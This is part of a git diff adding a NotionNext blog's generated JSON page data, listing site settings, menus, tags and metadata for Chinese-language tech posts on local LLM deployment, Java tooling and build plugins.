ug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":9,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"折腾"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220.json" new file mode 100644 index 000000000..f4c3ac6c0 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on 